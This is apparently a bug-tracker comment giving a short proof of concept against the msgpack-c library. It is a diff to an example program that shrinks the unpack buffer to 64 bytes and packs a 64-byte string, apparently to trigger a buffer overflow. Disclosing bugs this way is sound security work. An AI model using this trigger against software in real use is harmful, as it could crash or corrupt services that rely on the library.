Comment 2 for bug 1861448

Revision history for this message
ddaa (0xddaa) wrote :

Proof of concept:
(http://github.com/msgpack/msgpack-c)

diff --git a/example/c/user_buffer_unpack.c b/example/c/user_buffer_unpack.c
index 646a9f67..041d8983 100644
--- a/example/c/user_buffer_unpack.c
+++ b/example/c/user_buffer_unpack.c
@@ -2,7 +2,7 @@
 #include <stdio.h>
 #include <assert.h>

-#define UNPACKED_BUFFER_SIZE 2048
+#define UNPACKED_BUFFER_SIZE 64

 void prepare(msgpack_sbuffer* sbuf) {
     msgpack_packer pk;
@@ -12,8 +12,8 @@ void prepare(msgpack_sbuffer* sbuf) {
     msgpack_pack_array(&pk, 3);
     msgpack_pack_int(&pk, 1);
     msgpack_pack_true(&pk);
- msgpack_pack_str(&pk, 7);
- msgpack_pack_str_body(&pk, "example", 7);
+ msgpack_pack_str(&pk, 64);
+ msgpack_pack_str_body(&pk, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 64);
     /* 2nd object */
     msgpack_pack_str(&pk, 6);
     msgpack_pack_str_body(&pk, "second", 6);